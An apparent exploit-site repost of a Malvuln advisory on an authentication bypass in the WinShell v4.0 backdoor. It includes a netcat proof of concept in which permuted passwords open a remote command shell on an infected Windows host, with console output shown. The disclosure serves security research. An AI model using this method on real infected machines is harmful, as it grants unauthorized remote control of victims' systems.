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Backdoor.Win32.WinShell.40 / Authentication Bypass Command Execution

CVE Category Price Severity
N/A CWE-287 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2021-07-04
CVSS EPSS EPSSP
CVSS:4.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070022

Below is a copy:

Backdoor.Win32.WinShell.40 / Authentication Bypass Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/83fe2cc7aedc452d71c751053a2112c4.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.40
Vulnerability: Authentication Bypass Command Execution
Description: Malware WinShell v4.0 by janker listens on TCP port 5277 and allows for setting a password for remote access. However, after setting the password any combination of the characters used for the password will allow access. E.g. if the password is set to "abc123"  interestingly the chars "eutn" allows access. Also, password combinations like: abc321, 321abc, 132abc, a1b2c3, cba123, bca321, bac321, cab123, cab231, cab312, cab213, ab1c23 will also authenticate successfully. Sometimes when attempting to authenticate with a derived password and it fails, try it again and boom it works!
Type: PE32
MD5: 83fe2cc7aedc452d71c751053a2112c4
Vuln ID: MVID-2021-0278
Disclosure: 07/03/2021

Exploit/PoC:
Set password to Malvuln123

nc64.exe x.x.x.x 5277
Password:Malvunl321

WinShell v4.0
(C)2001 by janker
http://www.bugsos.com

? for help
CMD>?

i Install
u Uninstall
w Where
r Reboot
p Poweroff
q Quit
e End
s Shell
url download

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

AND

nc64.exe x.x.x.x 5277
Password:laMvuln123

WinShell v4.0
(C)2001 by janker
http://www.bugsos.com

? for help
CMD>


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